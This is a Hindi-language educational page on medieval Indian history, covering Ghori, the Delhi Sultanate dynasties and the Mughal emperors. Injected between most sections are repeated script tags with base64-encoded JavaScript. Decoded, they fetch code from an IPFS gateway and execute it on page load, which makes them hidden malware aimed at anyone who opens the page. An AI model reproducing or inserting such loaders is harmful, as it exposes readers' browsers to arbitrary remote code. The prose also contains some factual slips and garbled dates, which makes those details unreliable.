उत्तर-पश्चिम के मुसलमान आक्रमणकारियों को भी भारत ने लगभग तीन शताब्दियों तक रोके रखा। शहाबुद्दीन मुहम्मद ग़ोरी का दिल्ली जीतने का पहला प्रयास विफल हुआ और पृथ्वीराज ने 1190 ई. में तराईन की पहली लड़ाई में उसे हरा दिया। वह 1193 ई. में तराईन की दूसरी लड़ाई में ही पृथ्वीराज को हराने में सफल हुआ। इस विजय के बाद शहाबुद्दीन और उसके सेनापतियों ने उत्तरी भारत के दूसरे हिन्दू राजाओं को भी हरा दिया और वहाँ मुसलमानी शासन स्थापित कर दिया। इस तरह तेरहवीं शताब्दी के प्रारम्भ में दिल्ली के सुल्तानों की अधीनता में उत्तरी भारत की राजनीतिक एकता फिर से स्थापित हो गई।

इन्हें भी देखें: ग़ोर के सुल्तान, चंदबरदाई एवं पृथ्वीराज रासो<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

क़ुतुबुद्दीन ऐबक (1206-1210 ई.)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

तराइन के युद्ध के बाद मुइज्जुद्दीन ग़ज़नी लौट गया और भारत के विजित क्षेत्रों का शासन अपने विश्वनीय ग़ुलाम क़ुतुबुद्दीन ऐबक के हाथों में छोड़ दिया। पृथ्वीराज के पुत्र को रणथम्भौर सौंप दिया गया जो तेरहवीं शताब्दी में शक्तिशाली चौहानों की राजधानी बना। अगले दो वर्षों में ऐबक ने, ऊपरी दोआब में मेरठ, बरन तथा कोइल (आधुनिक अलीगढ़) पर क़ब्ज़ा किया। इस क्षेत्र के शक्तिशाली डोर-राजपूतों ने ऐबक का मुक़ाबला किया, लेकिन आश्चर्य की बात है कि गहदवालों को तुर्की आक्रमण से सबसे अधिक नुक़सान का ख़तरा था और उन्होंने न तो डोर-राजपूतों की कोई सहायता की और न ही तुर्कों को इस क्षेत्र से बाहर निकालने का कोई प्रयास ही किया। मुइज्जुद्दीन 1194 ई0 में भारत वापस आया। वह पचास हज़ार घुड़सवारों के साथ यमुना को पार कर कन्नौज की ओर बढ़ा। इटावा ज़िले में कन्नौज के निकट छंदवाड़ में मुइज्जुद्दीन और जयचन्द्र के बीच भीषण लड़ाई हुई। इस अवधि में उसने दिल्ली की दक्षिण सीमा की सुरक्षा के लिए बयाना तथा ग्वालियर के क़िलों पर क़ब्ज़ा किया। उसके बाद ऐबक ने चंदेल शासकों से कालिंजर, महोबा तथा खजुराहो को छीन लिया। ऐबक ने गुजरात तथा अन्हिलवाड़ के शासक भीम द्वितीय को पराजित किया और कई नगरों में लूटपाट मचाई। यहाँ यद्यपि एक मुसलमान शासक को नियुक्त किया गया था पर उसे शीघ्र ही गद्दी से उतार दिया गया। इससे पता चलता है कि तुर्क इतने दूर दराज क्षेत्रों में शासन करने के लायक़ शक्ति नहीं बने थे।

ग़ोरी साम्राज्य का विस्तार

जब ऐबक और तुर्की और ख़िलजी सरदार उत्तर भारत में नए क्षेत्रों को जीतने और अपनी स्थिति मज़बूत करने की चेष्टा कर रहे थे, मुइज्जुद्दीन और उसका भाई मध्य एशिया में ग़ोरी साम्राज्य का विस्तार करने लगे थे। ग़ोरियों की विस्तार की आकांक्षा ने उन्हें शक्तिशाली ख्वारिज़म साम्राज्य से टक्कर लेने पर मज़बूर कर दिया। ख्वारिज़म शासक ने मुइज्जुद्दीन को 1203 में करारी मात दी। लेकिन यह पराजय एक प्रकार से उनके लिए लाभदायक सिद्ध हुई। क्योंकि इसके कारण उन्हें एशिया में विस्तार की आकांक्षा को त्यागना पड़ा और उन्होंने भारत में विस्तार की ओर अपना पूरा ध्यान लगा दिया। लेकिन इस युद्ध का तात्कालिक परिणाम यह हुआ कि मुइज्जुद्दीन की हार से साहस पा कर भारत में उसके कई विरोधियों ने बग़ावत कर दी। पश्चिम बंगाल की लड़ाकू जाति खोकर ने लाहौर और ग़ज़नी के बीच सम्पर्क साधनों को काट दिया। मुइज्जुद्दीन ने भारत में अपना अंतिम आक्रमण खोकरों के विद्रोह को दबाने के लिए किया जिसमें वह सफल भी हुआ। ग़ज़नी लौटते समय वह एक विरोधी मुस्लिम सम्प्रदाय के कट्टर समर्थक द्वारा मारा गया।

दिल्ली सल्तनत (मध्यकालीन भारत 3)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

दिल्ली सल्तनत की स्थापना भारतीय इतिहास में युगान्तकारी घटना है। शासन का यह नवीन स्वरूप भारत की पूर्ववर्ती राजव्यवस्थाओं से भिन्न था। इस काल के शासक एवं उनकी प्रशासनिक व्यवस्था एक ऐसे धर्म पर आधारित थी, जो कि साधारण धर्म से भिन्न था। शासकों द्वारा सत्ता के अभूतपूर्व केन्द्रीकरण और कृषक वर्ग के शोषण का भारतीय इतिहास में कोई उदाहरण नहीं मिलता है। दिल्ली सल्तनत का काल 1206 ई. से प्रारम्भ होकर 1562 ई. तक रहा। 320 वर्षों के इस लम्बे काल में भारत में मुस्लिमों का शासन व्याप्त रहा। यह काल स्थापत्य एवं वास्तुकला के लिये भी विशेष रूप से उल्लेखनीय है।

मामलूक अथवा ग़ुलाम वंश (1206 से 1290 ई.)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

तुर्क पंजाब और मुल्तान से लेकर गंगा घाटी तक, यहाँ तक की बिहार तथा बंगाल के कुछ क्षेत्रों में अपना प्रभाव क़ायम करने में सफल हो सके। इनके राज्य को 'दिल्ली सल्तनत' के नाम से जाना जाता है। क़रीब सौ वर्षों तक इन तुर्कों को अपने राज्य की सुरक्षा के लिए विदेशी आक्रमणों, तुर्की नेताओं के आंतरिक मतभेदों तथा विजित राजपूत शासकों द्वारा अपने राज्य को पुनः वापस लेने और यदि सम्भव हो तो तुर्कों को बाहर निकाल देने के प्रयासों का सामना करना पड़ा। तुर्की शासक इन बाधाओं को पार कर विजय पाने में सफल हुए और तेरहवीं शताब्दी के अन्त तक उन्होंने न केवल मालवा और गुजरात को अपने अधीन कर लिया, वरन दक्कन और दक्षिण भारत तक पहुँच गए। इस प्रकार उत्तर भारत में स्थापित तुर्की साम्राज्य का प्रभाव सारे भारत पर पड़ा और इसके परिणामस्वरूप सौ वर्षों में समाज, प्रशासन तथा सांस्कृतिक जीवन पर दूरगामी परिवर्तन हुए।

इल्तुतमिश/अल्तमश (1201 ई0-1236 ई0)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चौगान खेलते समय 1210 ई0 में घोड़े से गिरने के कारण ऐबक की मृत्यु हो गई। उसके बाद उसका दामाद इल्तुतमिश उसका उत्तराधिकारी बना, पर सिंहासन पर बैठने के पहले उसे ऐबक के पुत्र से युद्ध कर उसे पराजित करना पड़ा। इस प्रकार आरम्भ से ही पिता की मृत्यु के बाद उसके पुत्र के सिंहासनाधिकार की प्रथा को धक्का लगा।

अल्तमश (1210-36) को उत्तर भारत में तुर्कों के राज्य का वास्तविक संस्थापक माना जा सकता है। उसके सिंहासन पर बैठने के समय 'अली मर्दन ख़ाँ' ने बंगाल और बिहार तथा ऐबक के एक और ग़ुलाम, 'कुबाचा' ने, मुल्तान के स्वतंत्र शासकों के रूप में घोषणा कर दी थी। कुबाचा ने लाहौर तथा पंजाब के कुछ हिस्सों पर अपना अधिकार भी कर लिया। पहले पहल दिल्ली के निकट भी अल्तमश के कुछ सहकारी अधिकारी उसकी प्रभुता स्वीकार करने में हिचकिचा रहे थे। राजपूतों ने भी स्थिति का लाभ उठाकर अपनी स्वतंत्रता घोषित कर दीं। इस प्रकार कालिंजर, ग्वालियर तथा अजमेर और बयाना सहित सारे पूर्वी राजस्थान ने तुर्की बोझ अपने कन्धों से उतार फेंका।

रज़िया सुल्तान (1236-39)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अपने अंतिम दिनों में इल्तुतमिश अपने उत्तराधिकार के सवाल को लेकर चिन्तित था। वह अपने किसी भी लड़के को सुल्तान बनने योग्य नहीं समझता था। बहुत सोचने विचारने के बाद अन्त में उसने अपनी पुत्री 'रज़िया' को अपना सिंहासन सौंपने का निश्चय किया तथा अपने सरदारों और उल्माओं को इस बात के लिए राज़ी किया। यद्यपि स्त्रियों ने प्राचीन मिस्र और ईरान में रानियों के रूप में शासन किया था और इसके अलावा शासक राजकुमारों के छोटे होने के कारण राज्य का कारोबार सम्भाला थी, तथापि इस प्रकार पुत्रों के होते हुए सिंहासन के लिए स्त्री को चुनना एक नया क़दम था।

बलबन का युग (1246-86)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

तुर्क सरदारों और शासन के बीच संघर्ष चलता रहा। एक तुर्क सरदार 'उलघु ख़ाँ' ने, जिसे उसके बाद के नाम, 'बलबन' से जाना जाता है, धीरे-धीरे सारी शक्ति अपने हाथों में केन्द्रित कर ली और वह 1246 में सिंहासन पर बैठा। उसके सिंहासन पर बैठने के बाद तुर्क सरदार और शासन के बीच संघर्ष रुका। आरम्भ में बलबन इल्तुतमिश के छोटे पुत्र नसीरूद्दीन महमूद का नायब था, जिसे उसने 1246 में गद्दी पर बैठने में मदद की थी। बलबन ने अपनी एक पुत्री का विवाह युवा सुल्तान से करवा कर अपनी स्थिति और मज़बूत कर ली।

ख़िलजी वंश (1290-1320 ई.)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ख़िलजी कौन थे? इस विषय में पर्याप्त विवाद है। इतिहासकार 'निज़ामुद्दीन अहमद' ने ख़िलजी को चंगेज़ ख़ाँ का दामाद और कुलीन ख़ाँ का वंशज, 'बरनी' ने उसे तुर्कों से अलग एवं 'फ़खरुद्दीन' ने ख़िलजियों को तुर्कों की 64 जातियों में से एक बताया है। फ़खरुद्दीन के मत का अधिकांश विद्वानों ने समर्थन किया है। चूंकि भारत आने से पूर्व ही यह जाति अफ़ग़ानिस्तान के हेलमन्द नदी के तटीय क्षेत्रों के उन भागों में रहती थी, जिसे ख़िलजी के नाम से जाना जाता था। सम्भवतः इसीलिए इस जाति को ख़िलजी कहा गया। मामलूक अथवा ग़ुलाम वंश के अन्तिम सुल्तान शमसुद्दीन क्यूमर्स की हत्या के बाद ही जलालुद्दीन फ़िरोज ख़िलजी सिंहासन पर बैठा था, इसलिए इतिहास में ख़िलजी वंश की स्थापना को ख़िलजी क्रांति के नाम से भी जाना जाता है। ख़िलजी क्रांति केवल इसलिए महत्त्वपूर्ण नहीं है कि, उसने ग़ुलाम वंश को समाप्त कर नवीन ख़िलजी वंश की स्थापना की, बल्कि इसलिए भी महत्त्वपूर्ण है कि, ख़िलजी क्रांति के परिणामस्वरूप् दिल्ली सल्तनत का सदूर दक्षिण तक विस्तार हुआ। जातिवाद में कमी आई और साथ ही यह धारणा भी खत्म हुई कि, शासन केवल विशिष्टि वर्ग का व्यक्ति ही कर सकता है।

तुग़लक़ वंश (1320-1414)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ग़यासुद्दीन ने एक नये वंश अर्थात तुग़लक़ वंश की स्थापना की, जिसने 1412 तक राज किया। इस वंश में तीन योग्य शासक हुए। ग़यासुद्दीन, उसका पुत्र मुहम्मद बिन तुग़लक़ (1324-51) और उसका उत्तराधिकारी फ़िरोज शाह तुग़लक़ (1351-87)। इनमें से पहले दो शासकों का अधिकार क़रीब-क़रीब पूरे देश पर था। फ़िरोज का साम्राज्य उनसे छोटा अवश्य था, पर फिर भी अलाउद्दीन ख़िलजी के साम्राज्य से छोटा नहीं था। फ़िरोज की मृत्यु के बाद दिल्ली सल्तनत का विघटन हो गया और उत्तर भारत छोटे-छोटे राज्यों में बंट गया। यद्यपि तुग़लक़ 1412 तक शासन करत रहे, तथापि 1399 में तैमूर द्वारा दिल्ली पर आक्रमण के साथ ही तुग़लक़ साम्राज्य का अंत माना जाना चाहिए।

इन्हें भी देखें: सैयद वंश एवं लोदी वंश<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

तैमूर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

दक्षिण एक और शताब्दी तक स्वतंत्र रहा, किन्तु सुल्तान ख़िलजी के राज्यकाल में दक्षिण भी दिल्ली सल्तनत के अधीन हो गया और इस तरह चौदहवीं शताब्दी में कुछ काल के लिए सारे भारत का शासन फिर से एक केन्द्रीय सत्ता के अंतर्गत आ गया। परन्तु दिल्ली सल्तनत का शीघ्र ही पतन शुरू हो गया और 1336 ई. में दक्षिण में हिन्दुओं का एक विशाल राज्य स्थापित हुआ, जिसकी राजधानी विजय नगर साम्राज्य थी। बंगाल (1338 ई.), जौनपुर (1393 ई.), गुजरात तथा दक्षिण के मध्यवर्ती भाग में भी बहमनी सल्तनत (1347 ई.) के नाम से स्वतंत्र मुसलमानी राज्य स्थापित हो गया। 1398 ई. में तैमूर ने भारत पर हमला किया और दिल्ली पर क़ब्ज़ा कर लिया और उसे लूटा। उसके हमले से दिल्ली की सल्तनत जर्जर हो गयी।

इन्हें भी देखें: विजय नगर साम्राज्य, बहमनी वंश, चंगेज़ ख़ाँ, अलाउद्दीन ख़िलजी, कबीर एवं भक्ति आन्दोलन<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

मुग़ल (मध्यकालीन भारत 4)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

दिल्ली की सल्तनत वास्तव में कमज़ोर थी, क्योंकि सुल्तानों ने अपनी विजित हिन्दू प्रजा का हृदय जीतने का कोई प्रयास नहीं किया। वे धार्मिक दृष्टि से अत्यन्त कट्टर थे और उन्होंने बलपूर्वक हिन्दुओं को मुसलमान बनाने का प्रयास किया। इससे हिन्दू प्रजा उनसे कोई सहानुभूति नहीं रखती थी। इसक फलस्वरूप 1526 ई. में बाबर ने आसानी से दिल्ली की सल्तनत को उखाड़ फैंका। उसने पानीपत की पहली लड़ाई में अन्तिम सुल्तान इब्राहीम लोदी को हरा दिया और मुग़ल वंश की प्रतिष्ठित किया, जिसने 1526 से 1858 ई. तक भारत पर शासन किया। तीसरा मुग़ल बादशाह अकबर असाधारण रूप से योग्य और दूरदर्शी शासक था। उसने अपनी विजित हिन्दू प्रजा का हृदय जीतने की कोशिश की और विशेष रूप से युद्ध प्रिय राजपूत राजाओं को अपने पक्ष में करने का प्रयास किया। अकबर ने धार्मिक सहिष्णुता तथा मेल-मिलाप की नीति बरती, हिन्दुओं पर से जज़िया उठा लिया और राज्य के ऊँचे पदों पर बिना भेदभाव के सिर्फ़ योग्यता के आधार पर नियुक्तियाँ कीं

बाबर (1526 -1530 )

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

526 में ई. पानीपत के प्रथम युद्ध में दिल्ली सल्तनत के अंतिम वंश (लोदी वंश) के सुल्तान इब्राहीम लोदी की पराजय के साथ ही भारत में मुग़ल वंश की स्थापना हो गई। इस वंश का संस्थापक "ज़हीरुद्दीन मुहम्मद बाबर" था। बाबर का पिता 'उमर शेख़ मिर्ज़ा', 'फ़रग़ना' का शासक था, जिसकी मृत्यु के बाद बाबर राज्य का वास्तविक अधिकारी बना। पारिवारिक कठिनाईयों के कारण वह मध्य एशिया के अपने पैतृक राज्य पर शासन नहीं कर सका। उसने केवल 22 वर्ष की आयु में क़ाबुल पर अधिकार कर अफ़ग़ानिस्तान में राज्य कायम किया था। वह 22 वर्ष तक क़ाबुल का शासक रहा। उस काल में उसने अपने पूर्वजों के राज्य को वापिस पाने की कई बार कोशिश की, पर सफल नहीं हो सका।

हुमायूँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

नासिरुद्दीन मुहम्मद हुमायूँ का जन्म बाबर की पत्नी ‘माहम बेगम’ के गर्भ से 6 मार्च, 1508 ई. को काबुल में हुआ था। हुमायूँ, बाबर के 4 पुत्रों- हुमायूँ, कामरान, अस्करी और हिन्दाल में सबसे बड़ा था। बाबर ने उसे अपना उत्तराधिकारी नियुक्त किया था। भारत में राज्याभिषेक के पूर्व 1520 ई. में 12 वर्ष की अल्वायु में उसे बदख्शाँ का सूबेदार नियुक्त किया गया। बदख्शाँ के सूबेदार के रूप में हुमायूँ ने भारत के उन सभी अभियानों में भाग लिया, जिनका नेतृत्व बाबर ने किया था।

शेरशाह सूरी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

शेरशाह सूरी के बचपन का नाम 'फ़रीद ख़ाँ' था। वह वैजवाड़ा (होशियारपुर 1472 ई.) में अपने पिता 'हसन ख़ाँ' की अफ़ग़ान पत्‍नी से उत्पन्न था। उसका पिता हसन, बिहार के सासाराम का ज़मींदार था। फ़रीद ख़ाँ ने अपने अधिकारों की रक्षा एवं शक्ति के विस्तार के लिए बिहार के सुल्तान मुहम्मद शाह नुहानी के यहाँ नौकरी कर ली। एक बार शिकार पर गये नुहानी के साथ फ़रीद ख़ाँ ने एक शेर को तलवार के एक ही बार से मार दिया। उसकी इस बहादुरी से प्रसन्न होकर मुहम्मद शाह ने उसे ‘शेर ख़ाँ’ की उपाधि प्रदान की। 1529 ई. में बंगाल के शासक नुसरतशाह को परास्त करके शेरखां ने हजरत-ए-आला की उपाधि धारण की। 1530 ई. में शेरखां ने चुनार के किलेदार ताज खां की विधवा लाड़मलिका से विवाह करके चुनार का क़िला तथा बहुत सम्पत्ति प्राप्त की। हुमायूँ को हराने वाला शेर ख़ाँ, 'सूर' नाम के क़बीले का पठान सरदार था। वह 'शेरशाह' के नाम से बादशाह हुआ। उसने आगरा को अपनी राजधानी बनाया था।

अकबर (1556 1605)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अकबर जलालुद्दीन मुहम्मद के बचपन का नाम 'बदरुद्दीन' था। 1546 ई. में अकबर के खतने के समय हुमायूँ ने उसका नाम 'जलालुद्दीन मुहम्मद अकबर' रखा। अकबर के जन्म के समय की स्थिति सम्भवतः हुमायूँ के जीवन की सर्वाधिक कष्टप्रद स्थिति थी। इस समय उसके पास अपने साथियों को बांटने के लिए एक कस्तूरी के अतिरिक्त कुछ भी न था। अकबर ने अपने शासनकाल में सारे भारत को एक साम्राज्य के अंतर्गत लाने का प्रयास किया, जिसमें वह काफ़ी हद तक सफल भी रहा था।

इन्हें भी देखें: अकबरनामा, अबुल फ़ज़ल, तानसेन, बीरबल, रहीम एवं टोडरमल<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

जहाँगीर (1605 - 1627)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

नूरुद्दीन सलीम जहाँगीर का जन्म फ़तेहपुर सीकरी में स्थित ‘शेख़ सलीम चिश्ती’ की कुटिया में राजा भारमल की बेटी ‘मरियम ज़मानी’ के गर्भ से 30 अगस्त, 1569 ई. को हुआ था। अकबर सलीम को ‘शेख़ू बाबा’ कहा करता था। सलीम का मुख्य शिक्षक अब्दुर्रहीम ख़ानख़ाना था। अपने आरंभिक जीवन में जहाँगीर शराबी और आवारा शाहज़ादे के रूप में बदनाम था। उसके पिता सम्राट अकबर ने उसकी बुरी आदतें छुड़ाने की बड़ी चेष्टा की, किंतु उसे सफलता नहीं मिली। इसीलिए समस्त सुखों के होते हुए भी वह अपने बिगड़े हुए बेटे के कारण जीवन-पर्यंत दुखी: रहा। अंतत: अकबर की मृत्यु के पश्चात जहाँगीर ही मुग़ल सम्राट बना था। उस समय उसकी आयु 36 वर्ष की थी। ऐसे बदनाम व्यक्ति के गद्दीनशीं होने से जनता में असंतोष एवं घबराहट थी। लोगों को आंशका होने लगी कि, अब सुख−शांति के दिन विदा हो गये और अशांति−अव्यवस्था एवं लूट−खसोट का ज़माना फिर आ गया।

शाहजहाँ (1627 - 1658)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

शिहाबुद्दीन मुहम्मद शाहजहाँ का जन्म जोधपुर के शासक राजा उदयसिंह की पुत्री 'जगत गोसाई' (जोधाबाई) के गर्भ से 5 जनवरी, 1592 ई. को लाहौर में हुआ था। उसका बचपन का नाम ख़ुर्रम था। ख़ुर्रम जहाँगीर का छोटा पुत्र था, जो छल−बल से अपने पिता का उत्तराधिकारी हुआ था। वह बड़ा कुशाग्र बुद्धि, साहसी और शौक़ीन बादशाह था। वह बड़ा कला प्रेमी, विशेषकर स्थापत्य कला का प्रेमी था। उसका विवाह 20 वर्ष की आयु में नूरजहाँ के भाई आसफ़ ख़ाँ की पुत्री 'आरज़ुमन्द बानो' से सन 1611 में हुआ था। वही बाद में 'मुमताज़ महल' के नाम से उसकी प्रियतमा बेगम हुई। 20 वर्ष की आयु में ही शाहजहाँ, जहाँगीर शासन का एक शक्तिशाली स्तंभ समझा जाता था। फिर उस विवाह से उसकी शक्ति और भी बढ़ गई थी। नूरजहाँ, आसफ़ ख़ाँ और उनका पिता मिर्ज़ा गियासबेग़ जो जहाँगीर शासन के कर्त्ता-धर्त्ता थे, शाहजहाँ के विश्वसनीय समर्थक हो गये थे। शाहजहाँ के शासन−काल में मुग़ल साम्राज्य की समृद्धि, शान−शौक़त और ख्याति चरम सीमा पर थी। उसके दरबार में देश−विदेश के अनेक प्रतिष्ठित व्यक्ति आते थे। वे शाहजहाँ के वैभव और ठाट−बाट को देख कर चकित रह जाते थे। उसके शासन का अधिकांश समय सुख−शांति से बीता था; उसके राज्य में ख़ुशहाली रही थी। उसके शासन की सब से बड़ी देन उसके द्वारा निर्मित सुंदर, विशाल और भव्य भवन हैं।

औरंगज़ेब (1658 - 1707)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

मुहीउद्दीन मुहम्मद औरंगज़ेब का जन्म 4 नवम्बर, 1618 ई. में उज्जैन के ‘दोहद’ नामक स्थान पर मुमताज के गर्भ से हुआ था। औरंगज़ेब के बचपन का अधिकांश समय नूरजहाँ के पास बीता था। 1643 ई. में औरंगज़ेब को 10,000 जात एवं 4000 सवार का मनसब प्राप्त हुआ। ‘ओरछा’ के जूझर सिंह के विरुद्ध औरंगज़ेब को प्रथम युद्ध का अनुभव प्राप्त हुआ था। 18 मई, 1637 ई. को फ़ारस के राजघराने की 'दिलरास बानो बेगम' के साथ औरंगज़ेब का निकाह हुआ। 1636 ई. से 1644 ई. एवं 1652 ई. से 1657 ई. तक औरंगज़ेब गुजरात (1645 ई.), मुल्तान (1640 ई.) एवं सिंध का भी गर्वनर रहा। आगरा पर क़ब्ज़ा कर जल्दबाजी में औरंगज़ेब ने अपना राज्याभिषक "अबुल मुजफ्फर मुहीउद्दीन मुजफ्फर औरंगज़ेब बहादुर आलमगीर" की उपाधि से 31 जुलाई, 1658 ई. को दिल्ली में करवाया। ‘खजुवा’ एवं ‘देवराई’ के युद्ध में सफल होने के बाद 15 मई, 1659 ई. को औरंगज़ेब ने दिल्ली में प्रवेश किया, जहाँ शाहजहाँ के शानदार महल में जून, 1659 ई. को औरंगज़ेब का दूसरी बार राज्याभिषेक हुआ।

बहादुर शाह ज़फ़र (1837- 1858)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बहादुर शाह ज़फ़र मुग़ल साम्राज्य के अंतिम बादशाह थे। इनका शासनकाल 1837-58 तक था। बहादुर शाह ज़फ़र एक कवि, संगीतकार व खुशनवीस थे और राजनीतिक नेता के बजाय सौंदर्यानुरागी व्यक्ति अधिक थे। बहादुर शाह ज़फ़र का जन्म 24 अक्तूबर सन 1775 ई. को दिल्ली में हुआ था। बहादुर शाह अकबर शाह द्वितीय और लालबाई के दूसरे पुत्र थे। अपने शासनकाल के अधिकांश समय उनके पास वास्तविक सत्ता नहीं रही और वह अंग्रेज़ों पर आश्रित रहे।

